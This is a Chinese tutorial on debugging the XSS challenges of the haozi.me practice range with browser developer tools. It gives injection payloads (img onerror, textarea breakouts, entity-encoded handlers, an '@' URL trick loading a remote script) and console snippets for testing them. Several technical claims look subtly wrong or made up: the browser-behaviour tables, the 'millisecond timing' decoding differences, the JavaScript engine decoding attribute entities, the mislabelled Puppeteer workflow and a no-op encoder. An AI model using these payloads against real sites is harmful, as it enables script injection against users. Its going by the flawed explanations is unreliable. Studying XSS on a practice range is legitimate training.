换个思路玩XSS：用开发者工具和浏览器控制台动态调试haozi.me靶场
换个思路玩XSS：用开发者工具和浏览器控制台动态调试haozi.me靶场
在传统XSS漏洞学习中，我们往往习惯于直接提交payload并观察弹窗效果，这种方式虽然直观，却容易忽略浏览器解析机制、DOM树构建过程以及不同渲染引擎的细微差异。本文将带你用开发者工具的显微镜视角，重新解构haozi.me靶场的每个关卡，通过动态调试发现那些藏在标签闭合、字符编码和事件处理背后的秘密。
1. 为什么需要动态调试XSS？
当我们面对一个过滤了<script>标签的输入框时，静态思考通常会尝试各种编码变形。但如果你打开Chrome的Elements面板实时观察，可能会发现：
<div id="output"> <img src=x onerror=alert(1)> </div>这里的关键在于服务器端实体编码(<)与客户端解码的时机差异。通过控制台执行document.getElementById('output').innerHTML，你能立即看到浏览器实际解析的HTML结构：
> document.getElementById('output').innerHTML "<img src=x onerror=alert(1)>"典型调试流程：
- 在Network面板查看原始HTTP响应
- 在Elements面板定位注入点DOM位置
- 使用Console测试各种编码解码组合
- 通过右键"Edit as HTML"实时修改DOM验证思路
2. 开发者工具实战：突破常规过滤
2.1 闭合标签的多种姿势
以0x01关卡为例，当输入被插入到<textarea>中时，传统解法是直接闭合标签。但在Firefox中尝试以下操作：
// 获取textarea的outerHTML观察原始结构 document.querySelector('textarea').outerHTML // 尝试用十六进制编码闭合标签 testPayload = '</textarea\x3e<img src=x onerror=alert(1)>' document.querySelector('textarea').insertAdjacentHTML('afterend', testPayload)浏览器差异注意点：
| 浏览器 | 对\x3e的解释 | 自动补全机制 |
|---|---|---|
| Chrome | 立即解码 | 可能补全缺失标签 |
| Firefox | 保持原样 | 较少自动修正 |
| Safari | 视上下文而定 | 严格遵循标准 |
2.2 事件处理的黑魔法
0x06关卡演示了如何利用type="image"特性绕过过滤。在控制台可以通过原型链检查发现：
const input = document.createElement('input') input.type = 'image' console.dir(input) // 查看onerror等隐藏属性提示：在Elements面板右键任何节点选择"Store as global variable"，即可在Console通过
temp1引用该节点进行实验
3. 高级技巧：编码与解析的博弈
3.1 HTML实体编码的层叠效应
0x04关卡需要处理双重编码问题。通过以下步骤验证：
// 测试实体编码解码顺序 encodedPayload = '<img src=x onerror=alert&#40;1&#41;>' testDiv = document.createElement('div') testDiv.innerHTML = encodedPayload console.log(testDiv.firstChild.outerHTML)关键发现：
- 第一次解码由浏览器HTML解析器完成
onerror属性内的编码由JavaScript引擎二次解码- 不同浏览器对
&#40;的处理存在毫秒级时序差异
3.2 Unicode同形字攻击的视觉欺骗
0x0E关卡涉及字符变形，在Console中可以这样检测：
// 检测视觉相似字符 function checkHomoglyph(char) { return { original: char, codePoint: char.codePointAt(0).toString(16), normalized: char.normalize('NFKD') } } checkHomoglyph('Å¿') // 返回真实Unicode信息4. 浏览器工作流深度剖析
4.1 从输入到DOM的完整路径
原始输入阶段：
# 使用curl查看原始响应（模拟Network面板） curl -s https://xss.haozi.me/0x00 | grep -C10 "input"HTML解析阶段：
- 在Chrome的Performance面板录制页面加载过程
- 观察"Parse HTML"事件中的详细调用栈
脚本执行阶段：
// 监控动态创建的脚本 const oldCreateElement = document.createElement document.createElement = function(tag) { console.log(`Creating <${tag}>`) return oldCreateElement.apply(this, arguments) }
4.2 安全机制绕过实践
以0x0A关卡的URL解析为例，在Console测试不同变体：
function testURL(url) { const a = document.createElement('a') a.href = url console.log({ origin: a.origin, hostname: a.hostname, pathname: a.pathname }) } testURL('https://www.segmentfault.com@xss.haozi.me/j.js')跨浏览器测试结果：
- Chrome 103+：强制显示
@符号警告 - Firefox 98：静默处理但阻止脚本加载
- Safari 15：完全执行原始逻辑
5. 打造个性化调试环境
5.1 自定义代码片段
在Sources面板的Snippets标签页创建以下工具函数：
// 快速测试payload function testXSS(payload) { const iframe = document.createElement('iframe') iframe.srcdoc = `<html><body>${payload}</body></html>` document.body.appendChild(iframe) setTimeout(() => iframe.remove(), 1000) } // 编码转换工具 const encoder = { html: s => s.replace(/[<>"&]/g, c => ({'<':'<','>':'>','"':'"','&':'&'}[c])), js: s => [...s].map(c => `\\x${c.charCodeAt(0).toString(16)}`).join('') }5.2 自动化测试工作流
结合Puppeteer实现半自动化验证：
// 在DevTools的Console中可直接运行的代码 (async () => { const targets = [ '0x00', '0x01', '0x02' // 添加所有关卡路径 ] for (const target of targets) { const url = `https://xss.haozi.me/${target}` const iframe = document.createElement('iframe') iframe.src = url document.body.appendChild(iframe) await new Promise(resolve => { iframe.onload = () => { console.log(`Testing ${target}:`) // 在这里添加针对每个关卡的测试代码 iframe.remove() resolve() } }) } })()在Edge浏览器中，还可以使用内置的WebView2工具直接调试iframe内容，无需手动移除安全限制。